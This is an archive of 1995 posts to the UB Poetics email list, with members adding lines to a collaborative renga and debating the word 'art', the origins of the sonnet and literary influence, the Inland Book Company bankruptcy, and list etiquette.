> *discussion group writes:*
> *On Thu, 3 Aug 1995, Rod Smith wrote:*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Power to the spider, virtuous in act if not intent*

> *Sight over sound for "justice," O cubes of Cuba! Where*
> *would calmness be without the stain of possession and*
> *Belief. A mirage effect, art, made to waver in*
> *green glass, a rippled trapezoid slab, unmeant as*
> *only unmeaning jargon can really get under your*
> *mask, one hyena boyfriend, one aurora, & maintenance*

↑ Index

96. Edward Foster
Re: avoidance behavior syndrome
Thu 3 Aug 1995

---

the only time to use "art" is when you are talking to, or about, someone with that name.

↑ Index

97. Tom Mandel
Re: folk rhythms & forms
Thu 3 Aug 1995

Joe Zitt writes that "new forms get viewed as the "turf" of one writer or another (in your [i.e. Herb Levy's] examples, Hejinian or Watten), and to use them is viewed as copping another's style."

...in response to what Herb Levy calls _the formal rhythms of Lyn Hejinian's "My Life,"_ wondering how different our literary community would be were such forms to be passed around.

But, folks, isn't it obvious - and obviously conscious on Lyn's part - that the structure of My Life owes much (i.e. its origin at least) to Ron Silliman's Ketjak? These forms, in other words, certainly were passed around and imitated and not at all thought of as anyone's "turf" for a significant time.

What is the relation between a writer's method and such formal choices, if in fact they are not identical as seems supposed by JZ's "turf" metaphor?

Lyn H. and Ron S. are very different in their interests; the two poems My Life and Ketjak very different explorations of time and perception as social and personal fact.

What is the process by which response to poetic work is channeled into means of identifying such work with an author?

Tom Mandel

↑ Index

98. Carl Lynden Peters
Re: writings and last poets
Thu 3 Aug 1995

herb,

thank-you for your statement on the new wr-eye-tings line. i wanted to respond to it myself, but got side tracked. --thanks once again

take care,
carl

> *what is <wr-eye-tings> and how does one subscribe, if it's a list?--md*
>
> *<wr-eye-tings> is a list that carl peters started with much discussion & input from cris cheek. Some of this discussion was on <poetics> a while back. It focuses on visual & sound poetry.*
>
> *It's pretty quiet by <poetics> standards.*
>
> *send the following command in email to "[redacted]":*
>
> *subscribe wr-eye-tings*
>
> *followed by your email address on the same line.*
>
> *The Last Poets passed through town this winter, but I didn't like the relatively new record very much, so I didn't go. Sounds like I made a mistake. I hope they continue to tour.*
>
> *Thanks for the report on their performance.*
>
> *Herb Levy*
> [redacted]

↑ Index

99. Burt Kimmelman
Re: folk rhythms & forms
Thu 3 Aug 1995

Herb,

Point of information (only, since what you are saying is correct in its thrust, I'd say):

the sonnet was not a troubadour form (though perhaps, a BIG perhaps, a case can be made for some of the troubadours escaping the deadly effect of the Albigensian Crusade and migrating to Sicily. It was there that we find the first extant sonnets. Cf. Paul Oppenheimer's book.

Cordially,

Burt

↑ Index

100. **Burt Kimmelman**
Re: folk rhythms & forms
Thu 3 Aug 1995

Herb,

Of course, here and there, a single poet invents a specific form. For instance, the poet Weatherly (formerly Elias Weatherly, formerly Tom Weatherly) invented the "glory"--a tight lyric form in which the same vowel sound is repeated in successive lines in successive syllable positions, etc. So, yes, he worked the form out alone; yet he did not live in a vacuum.

Burt

↑ Index

101. **Louis Cabri**
take yer pardner, pardner
Thu 3 Aug 1995

---

from lisa robertson and me--

> *In the look were schemes, on their screens, crooks*
> *if ethix hackers necks cricked, a junk node*
> *hoops the blarney. So*

↑ Index

102. **maria damon**
Re: avoidance behavior syndrome
Fri 4 Aug 1995

---

carl lynden writes:

> *my art professor at york, someone who continues to remain an important*

> *influence on me in my life in art, always emphasized that he was not an artist and that he didn't make art. he was trained in the mystical tradition of the kabbalah. his work is second to none. questions abt art don't bother him in the least. we're in the process of getting a major retrospective of his work together, which is likely to have both national and international contexts. more on that as it unfolds. whatever it is he does or however he defines it, i know that he's found at least one key to unlock the secret mind. he takes his work seriously. i have the utmost respect for that. people often say: "man, yr just too damn serious!"*

so who is this dude, sounds really cool, and where's the retrospective?--md

↑ Index

103. **maria damon**

Re: folk rhythms & forms

Fri 4 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Herb,
>
> Point of information (only, since what you are saying is correct in its
> thrust, I'd say):
>
> the sonnet was not a troubadour form (though perhaps, a BIG perhaps, a
> case can be made for some of the troubadours escaping the deadly effect
> of the Albigensian Crusade and migrating to Sicily. It was there that
> we find the first extant sonnets. Cf. Paul Oppenheimer's book.
>
> Cordially,
>
> Burt

this is kind of cool cuz wasn't sicily during this period a very hybrid kind of place w/ arabic, its own italian, latin, etc, being written? i did a little shtick on islands at mla last yr and sd, mostly intuitively, that islands, far from being "isolated," were crossroadss for cultural cross-polli(e)?nation. so, the sonnet, which is now the icon of mainstream poetic tradition, had its origins in a swirling eclecticism of languages, traditions, forms and people--md

↑ Index

104. Rod Smith
Re: avoidance behavior syndrome
Fri 4 Aug 1995

G.B. wrote (he really did):
>I guess that "art" is a slippery term. I have heard, in >interviews on
>MTV, guityar wangers referring to themselves as "artists."

I changed my mind abt saying anything at all on this, however, I believe the spelling is guitar.

--Rod

↑ Index

105. Thomas Bell
Re: eR 1
Fri 4 Aug 1995

On Aug 3 Hank Lazer wrote:

On Aug 3 Marissa Januzzi wrote:

> On Thu, 3 Aug 1995, Jorge Guitart wrote:
>
> > On Wed, 2 Aug 1995, Sheila E. Murphy wrote:
> >
> > > >adding to Ron Silliman's addition --
> > > >
> > > > In the books were dreams and in the dreams were books.
> > > >> And flew through windows, lightning green and fine morning
> > > >> First inverted whistle of a cardinal in the poplar
> > > >> The book and the oboe on the grass under sun and cloud
> > > >> Go endlessly, an obtuse Prussian blue, it binds
> > > >> The caravan of windows to what they flee
> > > >> These lace curtains, more gauze than bondage, more
> > > >> Mollycoddled than aware, thin-spined and pebbling
> > > >> but narrow in the waist or waspish Sunday years ago
> > > >> Over coffee topped with whipped cream, the Times blowing
> > > > & opining, heavy humid air, cumulus amusing against the
> > > bleached ribcage ripcorded into compassed wind
> > kissing the weatherwoman between her breasts as she
> gives gracious problem: fanatical snacks, landscape of
><< lunar dust, the misdirected modules returning to the
morning

from the books out of the dreams away from the lonesome
wail

↑ Index

106. **Rod Smith**

Re: Renga 1

Fri 4 Aug 1995

> > > In the books were dreams and in the dreams were books.
> > >> And flew through windows, lightning green and fine morning
> > >> First inverted whistle of a cardinal in the poplar
> > >> The book and the oboe on the grass under sun and cloud
> > >> Go endlessly, an obtuse Prussian blue, it binds
> > >> The caravan of windows to what they flee
> > >> These lace curtains, more gauze than bondage, more
> > >> Mollycoddled than aware, thin-spined and pebbling
> > >> but narrow in the waist or waspish Sunday years ago
> > >> Over coffee topped with whipped cream, the Times blowing
> > > & opining, heavy humid air, cumulus amusing against the
> > bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
altered colophons, a legal adage in a kiss it, o uncalm!

↑ Index

107. **Thomas Bell**

Renga 1

Fri 4 Aug 1995

> > In the books were dreams and in the dreams were books.
> > > And flew through windows, lightning green and fine morning
> > > First inverted whistle of a cardinal in the poplar
> > > The book and the oboe on the grass under sun and cloud
> > > Go endlessly, an obtuse Prussian blue, it binds
> > > The caravan of windows to what they flee
> > > These lace curtains, more gauze than bondage, more
> > > Power to the spider, virtuous in act if not intent
> > > Sight over sound for "justice," O cubes of Cuba! Where
> > > would calmness be without the stain of possession and
> > > Belief. A mirage effect, art, made to waver in
> > > a modicum of chocolate milk. Not too late for
> > propelling you to the day without answers or questions

Hiroshima mon amor and the dream and the book and it did
not happen nevermore Trickster drags the chalk across

,

↑ Index

108. Ryan Knighton

Re: question abt rengas

Fri 4 Aug 1995

So, if you write two lines in a row, is the renga void, like a petition?

↑ Index

109. Thomas Bell

Re: Renga 1

Fri 4 Aug 1995

---

maria damon writes

In message <[redacted]> UB Poetics discussion group writes:
> adding to Ron Silliman's addition --
>
> In the books were dreams and in the dreams were books.
> > And flew through windows, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
> > The book and the oboe on the grass under sun and cloud
> > Go endlessly, an obtuse Prussian blue, it binds
> > The caravan of windows to what they flee
> > These lace curtains, more gauze than bondage, more
> > Mollycoddled than aware, thin-spined and pebbling
> > but narrow in the waist or waspish Sunday years ago
> > Over coffee topped with whipped cream, the Times blowing
> > & opining, heavy humid air, cumulus amusing against the
> > flat glass of renga matter, transparent unwords
the web spun the spider of disjointed times out on

,
[A .

↑ Index

110. Thomas Bell
Re: Renga
Fri 4 Aug 1995

> >
> > In the books were dreams and in the dreams were books.
> >> And flew through windows, lightning green and fine morning
> >> First inverted whistle of a cardinal in the poplar
> >> The book and the oboe on the grass under sun and cloud
> >> Go endlessly, an obtuse Prussian blue, it binds
> >> The caravan of windows to what they flee
> >> These lace curtains, more gauze than bondage, more
> >> Mollycoddled than aware, thin-spined and pebbling
> >> but narrow in the waist or waspish Sunday years ago
> >> Over coffee topped with whipped cream, the Times blowing
> > & opining, heavy humid air, cumulus amusing against the
> > bleached ribcage ripcorded into compassed wind
> floating, held open, adrift in different directions, she
let the renga drop opposite the po po purple

↑ Index

111. Ryan Knighton
Re: avoidance behavior syndrome
Fri 4 Aug 1995

You can't get away from this "art" business. To add, my ol papa picked up my copy of GB's A Place to Die and when I caught him reading it (he doesn't like reading "artsy" books) he asked me if using & for and made something art or artistic. I haven't answered him yet. When he asked me what Lolita was abt and I told him he didn't ask anything about what made it art or artistic. I haven't asked him why yet. Maybe nymphets are more obvious than ampersands.

↑ Index

112. Thomas Bell
Re: Renga 2
Fri 4 Aug 1995

On Aug 3, Jorge Guitart wrote Re: Renga 1

of a cardinal in the poplar
> > > >> Go endlessly, an obtuse Prussian blue, it binds
> > > >> The caravan of windows to what they flee
> > > >> These lace curtains, more gauze than bondage, more

> > > >> Mollycoddled than aware, thin-spined and pebbling
> > > >> but narrow in the waist or waspish Sunday years ago
> > > >> Over coffee topped with whipped cream, the Times blowing
> > > > & opining, heavy humid air, cumulus amusing against the
> > >   bleached ribcage ripcorded into compassed wind
> >   kissing the weatherwoman between her breasts as she
>   gives gracious problem: fanatical snacks, landscape of
>   flicka my best friend and the storm in the glass of water

On Thu, 3 Aug 1995, Marisa A Januzzi wrote:

> On Thu, 3 Aug 1995, Jorge Guitart wrote:
>
> > On Wed, 2 Aug 1995, Sheila E. Murphy wrote:
> >
> > > >adding to Ron Silliman's addition --
> > > >
> > > >   In the books were dreams and in the dreams were books.
> > > >> And flew through windows, lightning green and fine morning
> > > >> First inverted whistle of a cardinal in the poplar
> > > >> First inverted whistle
                following red red rdbins

↑ Index

113. Gabrielle Welford
Re: folk rhythms & forms
Fri 4 Aug 1995

Maria, if you want more evidence for islands being crossroads, there's a big push among Pacific Islanders to reclaim themselves as an ocean of islands that has had continued and heavy commerce among themselves for thousands of years--rather than the Euro vision of them as isolated blips in a vast sea. Just been reading a similar commentary on Caribbean island self-vision. And certainly Hawaii is a magnetic center where east and west meet. I'm sure other Pacific islands are too.

Gabrielle

On Thu, 3 Aug 1995, maria damon wrote:
>
> this is kind of cool cuz wasn't sicily during this period a very hybrid kind of
> place w/ arabic, its own italian, latin, etc, being written? i did a little
> shtick on islands at mla last yr and sd, mostly intuitively, that islands, far
> from being "isolated," were crossroadss for cultural cross-polli(e)?nation. so,
> the sonnet, which is now the icon of mainstream poetic tradition, had its

> origins in a swirling eclecticism of languages, traditions, forms and people--
md
>

↑ Index

114. Ron Silliman
Re: folk rhythms & forms
Fri 4 Aug 1995

Tom Mandel writes:
>But, folks, isn't it obvious - and obviously conscious on Lyn's part -
that the structure of My Life owes much (i.e. its origin at least) to
Ron Silliman's Ketjak? These forms, in other words, certainly were
passed around and imitated and not at all thought of as anyone's "turf"
for a significant time.

Yet the K section of The Alphabet (specifically Ketjak2:Caravan of Affect), literally "the next paragraph," is heavily indebted to Lyn's "rewriting" of My Life and uses that quite consciously.

My sense is that it must take a good while for a form to break free of the weight of that early identification. Look at how imprisoned the early American prose poem was to the first few translations/imitations of Max Jacob, as tho that were all one could do with prose in a poem.

My sense is that Blake, Coleridge and Pope could all have been taken as inspiration for the prose poem and it would have looked like a very different dog.

Ron Silliman
[redacted]

↑ Index

115. Ron Silliman
Inland Bankruptcy
Fri 4 Aug 1995

I pulled the following off of BookWeb, a good WWW site for book news:

Inland Files for Chapter 11 Bankruptcy Protection
Small Press Distributor To Remain Open Through Reorganization

At press time, Inland Book Company announced that it had filed for reorganization under Chapter 11 of the Federal Bankruptcy Act on August 1. Under Chapter 11, the small and independent press distributor will seek protection from creditors as it reorganizes its finances and

operations. "Inland has already taken steps to reorganize itself and expects to continue operations without interruption," the company said in announcing the filing.
>
Inland s filing comes as no great surprise to those in the publishing industry who had seen Inland, which specializes in "alternative" literature, struggle through hard financial times. A year ago, the troubled distributor was purchased by the Miller Group, a Florida Company specializing in distribution businesses. In September, Inland executives David Wilk and Steve Hargraves regained ownership of Inland, claiming that the Miller Group reneged on its commitments. At the time, Wilk said he had met with a number of Inland s closest publisher friends, who had commited to supporting him in rebuilding the business.

↑ Index

116. Michael Boughn
Re: Renga 1
Fri 4 Aug 1995

Set peotics NO RENGA

↑ Index

117. Pierre Joris
Re: Inland Bankruptcy
Fri 4 Aug 1995

Ron writes: "...BookWeb, a good WWW site for book news"

Could you post the exact http address? Thanks.

Pierre

==========
==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========
==========

↑ Index

118. Jorge Guitart

Re: Renga 1

Fri 4 Aug 1995

On Thu, 3 Aug 1995, Joseph Zitt wrote:

> On 3 Aug 95 at 11:35, Marisa A Januzzi wrote:
>
> > On Thu, 3 Aug 1995, Jorge Guitart wrote:
> >
> > > On Wed, 2 Aug 1995, Sheila E. Murphy wrote:
> > >
> > > > >adding to Ron Silliman's addition --
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> > > > >   In the books were dreams and in the dreams were books.
> > > > >> And flew through windows, lightning green and fine morning
> > > > >> First inverted whistle of a cardinal in the poplar
> > > > >> The book and the oboe on the grass under sun and cloud
> > > > >> Go endlessly, an obtuse Prussian blue, it binds
> > > > >> The caravan of windows to what they flee
> > > > >> These lace curtains, more gauze than bondage, more
> > > > >> Mollycoddled than aware, thin-spined and pebbling
> > > > >> but narrow in the waist or waspish Sunday years ago
> > > > >> Over coffee topped with whipped cream, the Times blowing
> > > > > & opining, heavy humid air, cumulus amusing against the
> > > >   bleached ribcage ripcorded into compassed wind
> > >   kissing the weatherwoman between her breasts as she
> >   gives gracious problem: fanatical snacks, landscape of
>   Riemann space worried into tropical depression
         giving consolation a bad name and injecting
> ---------1---------1---------1---------1---------1---------1----------
> |||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
> ||/   Organizer, SILENCE: The John Cage Mailing List   \||
> |/   Online Representative, Austin International Poetry Festival   \|
> / <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\
>

↑ Index

119. Herb Levy
Re: folk rhythms & forms
Fri 4 Aug 1995

Burt Kimmelman wrote:

> *Point of information (only, since what you are saying is correct in its thrust, I'd say):*
>
> *the sonnet was not a troubadour form (though perhaps, a BIG perhaps, a case can be made for some of the troubadours escaping the deadly effect of the Albigensian Crusade and migrating to Sicily. It was there that we find the first extant sonnets. Cf. Paul Oppenheimer's book.*

Burt,

Thanks for the clarification on the origin of sonnets.

I'd always connected sonnets with an idea that comes from my vaguely remembered reading of Pound (maybe Kenner, someone anyway) that the first sonnet started when some troubador failed to be able to complete a canzone form of several verses of 14 lines.

There are a lot of other things to respond to in this thread but I'm off to the Olympic Peninsula imminently. Have a nice weekend y'all.

Bests

Herb Levy
[redacted]

↑ Index

120. Jorge Guitart
Re: eR 1
Fri 4 Aug 1995

On Thu, 3 Aug 1995, Thomas Bell wrote:

> *On Aug 3 Hank Lazer wrote:*
>
> *On Aug 3 Marissa Januzzi wrote:*
>
> *On Thu, 3 Aug 1995, Jorge Guitart wrote:*
>
> *On Wed, 2 Aug 1995, Sheila E. Murphy wrote:*
>
> *adding to Ron Silliman's addition --*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*

> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *<< lunar dust, the misdirected modules returning to the*
> *morning*
> *from the books out of the dreams away from the lonesome*
> *wail of the glob that cradles in its claws The Anthology*
> *of*

↑ Index

121. Carl Lynden Peters

Re: avoidance behavior syndrome

Fri 4 Aug 1995

---

maria,

he's _tim whiten_, teaches at york in toronto, and is represented by the olga korper gallery. the retro is tentatively set for mid 1996, altho i haven't heard confirmation. i'm writing an essay ("the work as art") for the catalogue. last time i heard either jack burnham or lucy lippard were going to write the preface. i think getting hold of examples and documentation of his work might be difficult. despite the contexts he's worked out for himself, he remains somewhat _underground_, altho a major performance/installation piece of his at art park in up-state NY was included in lippards book _overlay_. the piece was called, if i can get the sp right, "Morada," and it was conceived and performed during the late 70s and early 80s. apologies fr going on abt this. what can i say? rarely do you find such an expansive spirit, and rarely do you _connect_

thank you for your question, maria. i wanted to foreground his work further in my earlier post, but didn't know how to frame it exactly

i'll post you a catalogue once everything is done and done

take good care,
carl

> *carl lynden writes:*

> *my art professor at york, someone who continues to remain an important influence on me in my life in art, always emphasized that he was not an artist and that he didn't make art. he was trained in the mystical tradition of the kabbalah. his work is second to none. questions abt art don't bother him in the least. we're in the process of getting a major retrospective of his work together, which is likely to have both national and international contexts. more on that as it unfolds. whatever it is he does or however he defines it, i know that he's found at least one key to unlock the secret mind. he takes his work seriously. i have the utmost respect for that. people often say: "man, yr just too damn serious!"*
>
> *so who is this dude, sounds really cool, and where's the retrospective?--md*

↑ Index

122. Willa Jarnagin
"art"/semantics
Fri 4 Aug 1995

On Thu, 3 Aug 1995, Edward Foster wrote:

> the only time to use "art" is when you are talking to, or about, someone with that name.
>

So we should discard this word? You know what'll happen? Another will take its place and the same argument will continue....

Willa

↑ Index

123. Alan Sondheim
Renga Rung Wrong
Fri 4 Aug 1995

Then of course everything sorts itself out:

> *morning*
> *from the books out of the dreams away from the lonesome*
> *of*
> *wail of the glob that cradles in its claws The Anthology*
> *gives gracious problem: fanatical snacks, landscape of*
> *kissing the weatherwoman between her breasts as she*
> *bleached ribcage ripcorded into compassed wind*
>
> *In the books were dreams and in the dreams were books.*
> *& opining, heavy humid air, cumulus amusing against the*

> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *Mollycoddled than aware, thin-spined and pebbling*
> *Over coffee topped with whipped cream, the Times blowing*
> *The book and the oboe on the grass under sun and cloud*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *but narrow in the waist or waspish Sunday years ago*
> *<< lunar dust, the misdirected modules returning to the*

↑ Index

124. Gabrielle Welford

Parasites revealed in action! (fwd)

Fri 4 Aug 1995

Surprise surprise! Gabrielle

PROPOSED CONGRESSIONAL CUTS OF $9 BILLION
TO WELFARE/HEALTH/EDUCATION/WORKERS SAFETY REGULATIONS
MATCH MILITARY GIFT

The symmetry is beautiful and awesome.

My last post ranted about the military industrial complex and how we should really concentrate on that area if we need cuts in the federal budget. I responded to a comment from a colleague on this list that we should step back and look at where the money is going instead of insisting that the government punish a different set of students. My point centered on the current 104th Congressional decision to *** give the Defense Department $9.7 BILLION MORE than the Pentagon even requested! ***

There was little debate in the House or Senate as far as we know. No big fuss arose. But the time has come for that stuff to hit the fan. Almost THE IDENTICAL AMOUNT of money that the Rightists forced upon the military is being taken away from children, the sick, the elderly, students, and the working class in general.

All the dots were connected by thick lines following the money trail
straight to the doors of the enriching rich. It was like deus ex machina.
THE VAMPIRES CAUGHT IN THE ACT --RED-HANDED, as it were.
Now is the time to act. Spread the news. This is it.
Yours in solid.,
--Chris Brady
%%%

THE STUDENT INSURGENT is a biweekly, leftish newspaper
published by students at the University of Oregon in Eugene.
Our office is located in Suite 1 in the Erb Memorial Union building (EMU).
Our phone number is [redacted]. FAX: [redacted]
e-mail: [redacted]
WWW: http://gladstone.uoregon.edu/~insurgnt
[*note*: no "e" in "insurgnt" with our electronic addresses]
Our current U.S. Mailing address is: The Student Insurgent
1228 -- U. of Oregon
Eugene, OR 97403-1228
"...we shall have an association
in which the free development of each
is the condition for the free development of all."
%%%

127. **maria damon**
Re: avoidance behavior syndrome
Fri 4 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> maria,
>
> he's _tim whiten_, teaches at york in toronto, and is represented by the
> olga korper gallery. the retro is tentatively set for mid 1996, altho i
> haven't heard confirmation. i'm writing an essay ("the work as art") for
> the catalogue. last time i heard either jack burnham or lucy lippard were
> going to write the preface. i think getting hold of examples and
> documentation of his work might be difficult. despite the contexts he's
> worked out for himself, he remains somewhat _underground_, altho a major
> performance/installation piece of his at art park in up-state NY was
> included in lippards book _overlay_. the piece was called, if i can get
> the sp right, "Morada," and it was conceived and performed during the
> late 70s and early 80s. apologies fr going on abt this. what can i say?
> rarely do you find such an expansive spirit, and rarely do you _connect_
>
> thank you for your question, maria. i wanted to foreground his work
> further in my earlier post, but didn't know how to frame it exactly
>
> i'll post you a catalogue once everything is done and done
>
> take good care,
> carl
>
continues to sound cool--thanks (everytime i try to type out cool it comes out
cook. sounds really cook.)--md

↑ Index

128. **Burt Kimmelman**
Re: folk rhythms & forms
Fri 4 Aug 1995

Maria,

My hunch is that courtly love and all came from the n african and what is now middle eastern lyric tradition. i can't prove it, though a while back Ammiel Alcaly (you may know him--recent book of his from Singing Horse and another scholarly book from [i think] u of minnesota p) did some graduate work on

medieval hebrew and arabic lyrics, which, if i recall, suggested what i am saying. so anyway, sicily, sure--though why did SO MANY forms arise with the troubadours and not with the sicilians; part of the answer to this question has to do with the language of Old Provencal--but only part.

musing along . . .

Burt

↑ Index

129. Burt Kimmelman
Re: Inland Bankruptcy
Fri 4 Aug 1995

Inland had stopped handling the smallest presses, is my understanding.

I hope Wilk and co. go back to the point where they were doing alright.

↑ Index

130. Tony Green
(Fwd) Re: renga anyone?
Fri 4 Aug 1995

The following is a now forgotten continuation of the Renga that goes back a while. What is most irritating now is to see it hanging

"...Suspect/.....

Forwarded Message Follows -------
From: Self <CCNOV2/AHI_TGREEN>
To: [redacted]
Subject: Re: renga anyone?
Date: Wed, 26 Jul 1995 16:52:44

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
Mist, out into the familiar yonder of the freeway. Suspect

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

131. George Bowering
Re: "art"/semantics
Fri 4 Aug 1995

Aw shucks, ah caint use the word "art". Ah'm just a honest country boy. I want people to like me and trust me. That word "art" is just for them big city folks and them foreigners over there in that sinful town in France.

↑ Index

132. George Bowering
Re: Renga
Fri 4 Aug 1995

When I hear the word "renga" I reach for my D-key.

↑ Index

133. George Bowering
Re: avoidance behavior syndrome
Fri 4 Aug 1995

Rod Smith wrote

"I believe the spelling is guitar."

Probably he meant to say

"I believe that the spelling is guitar."

↑ Index

134. Jorge Guitart
Re: (Fwd) Re: renga anyone?
Fri 4 Aug 1995

On Sat, 5 Aug 1995, Tony Green wrote:

> *The following is a now forgotten continuation of the Renga that goes back a while. What is most irritating now is to see it hanging*

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> Mist, out into the familiar yonder of the freeway. Suspect
Among the entries of the How Green was My Alien Contest

↑ Index

135. Joseph Zitt
Re: (Fwd) Re: renga anyone?
Fri 4 Aug 1995

On 5 Aug 95 at 9:11, Tony Green wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> Mist, out into the familiar yonder of the freeway. Suspect
The night, left in the wake of bibles and caffiene to
---------1---------1---------1---------1---------1---------1----------
|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/ Online Representative, Austin International Poetry Festival \|
/ <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

136. Lindz Williamson
Please stop
Fri 4 Aug 1995

On Fri, 4 Aug 1995, George Bowering wrote:

> When I hear the word "renga" I reach for my D-key.
>
Actually George I think it's when you see the word "renga", and yes I do
the same.

↑ Index

137. Thomas Bell
Renga Rung Wrong
Fri 4 Aug 1995

Then of course everything sorts itself out:
<or seems wrung and tided over the reef:
> morning
> from the books out of the dreams away from the lonesome
> of
> wail of the glob that cradles in its claws The Anthology
> > gives gracious problem: fanatical snacks, landscape of
> > > kissing the weatherwoman between her breasts as she
> > > > bleached ribcage ripcorded into compassed wind
> > > > >
> > > > >> The book and the oboe on the grass under sun and cloud

> > > > >> The caravan of windows to what they flee
> > > > >> These lace curtains, more gauze than bondage, more
> > > > >> but narrow in the waist or waspish Sunday years ago
> ><< lunar dust, the misdirected modules returning to the
end where the beached whale divulged Jonah
> > > > > In the books were dreams and in the dreams were books.
> > > > > & opining, heavy humid air, cumulus amusing against the
> > > > >> And flew through windows, lightning green and fine morning
> > > > >> First inverted whistle of a cardinal in the poplar
> > > > >> Go endlessly, an obtuse Prussian blue, it binds
> > > > >> Mollycoddled than aware, thin-spined and pebbling
> > > > >> Over coffee topped with whipped cream, the Times blowing

↑ Index

138. **Aldon L. Nielsen**
Re: " . . . "
Sat 5 Aug 1995

Whenever I hear the word "gun" I reach for my art.

↑ Index

139. **Aldon L. Nielsen**
Re: Recent Burt
Sat 5 Aug 1995

I'd been wondering what had become of Tom Weatherly -- can you tell me about any published works under the aliases you mentioned last post??? last I heard of him was a 70's chapbook.

↑ Index

140. **Gabrielle Welford**
Caribbean
Sat 5 Aug 1995

Hi Maria. The book is _If I Could Write This In Fire: An Anthology of Lit from the Carib_ ed by Pamela M. Smorkaloff. I'm adding the one you mentioned to my list... Thanks. Gabrielle

↑ Index

141. Alan Sondheim
Re: " . . . "
Sat 5 Aug 1995

The problem: Bang! You're dead.

Alan

On Fri, 4 Aug 1995, Aldon L. Nielsen wrote:

> *Whenever I hear the word "gun" I reach for my art.*

↑ Index

142. Chris Scheil
Re: (Fwd) Re: renga anyone?
Sat 5 Aug 1995

On Fri, 4 Aug 1995, Jorge Guitart wrote:

> On Sat, 5 Aug 1995, Tony Green wrote:
>
> > The following is a now forgotten continuation of the Renga that goes
> > back a while. What is most irritating now is to see it hanging
>
> > In the books were dreams and in the dreams were books.
> > And flew through windows, lightning green and fine morning
> > Mist, out into the familiar yonder of the freeway. Suspect
> Among the entries of the How Green was My Alien Contest
the rooting sense to cut away for news in clouds went off

↑ Index

143. Ron Silliman
BookWeb
Sat 5 Aug 1995

You wrote:
>
>Ron writes: "...BookWeb, a good WWW site for book news"
>
>Could you post the exact http address? Thanks.
>
>Pierre
>

http://www.spiders.com/bookweb/

↑ Index

144. Ron Silliman
Rengaphobia
Sat 5 Aug 1995

Interesting (in the clinical sense) to see three negative responses in today's email to the presence of poetry on the Poetics List. All from north of the border, for those of us who like to draw theoretical conclusions.

Ron
[redacted]

↑ Index

145. Jorge Guitart
Re: Rengaphobia
Sat 5 Aug 1995

Luckily, rengaphobia can be cured by behavior modification techniques and there is no need to appeal to constructs such as renga envy.

On Sat, 5 Aug 1995, Ron Silliman wrote:

> *Interesting (in the clinical sense) to see three negative responses in today's email to the presence of poetry on the Poetics List. All from north of the border, for those of us who like to draw theoretical conclusions.*
>
> *Ron*
> [redacted]

↑ Index

146. cris cheek
Re: folk rhythms & forms
Sat 5 Aug 1995

Tom writes - forms, in other words, certainly were
>passed around and imitated and not at all thought of as anyone's "turf"
>for a significant time.

And Ron adds - My sense is that it must take a good while for a form to
>break free of the weight of that early identification.

Good stuff. Social imperatives are suggested here? Bringing urgencies to process - urgencies which articulate obvious distinctions between imitation and influence. Hit and miss periodicities of communication and influence are

extremely difficult to calibrate nevertheless. It is the quality and the urgency of engagement with the currents within the tides of such communications and influences which make a writer's work compelling. A re-investment in processes of discovery. Any number of singers can sing the same song but as we all know very few can do so in a way which compels us to listen afresh.

love and quirky urgencies
agencies
cris

↑ Index

147. cris cheek
Re: folk rhythms & forms
Sat 5 Aug 1995

Maria Damon wrote:

> *islands, far from being "isolated," were crossroadss for cultural cross-polli(e)?nation. so, the sonnet, which is now the icon of mainstream poetic tradition, had its origins in a swirling eclecticism of languages, traditions, forms and people--md*

and Gabrielle has cited Pacific Islands, in particualr Hawaii, and the Caribbean in such respects. My own enthusiasm, as some will already know, is for Madagascar (yes Gab, i owe you a letter on that).

One of the most celebratory aspects of living on this island (good to read Ron referring to Britain as the islands recently - we relish being the colonised outpost of the twentieth century US adventure) during these pre-millenial tensile days is that of the colonial chickens coming home to ro(o/a)st. Oh the ruins of glamour and the glamour of ruins when the two come together -

'. . . O the mirror and the eye, you try to see yourself clearly
Both hide significance from view, then allow you to see
The hidden jewel, a veritable sapphire
O nose and smell, when the two come together

O smell and nose; when confusion is further confounded; A person become dumbfounded and loses track of everything. At the time for minstrelsy, when poets vie one with another. O hand and work when the two come together.

O work and hand, a skilled performer is never completely overwhelmed; This is the secret of her greatness, so confident is she of her ability So on the day of her trila none would question her presence O the chicks and the hawk, when the two come together

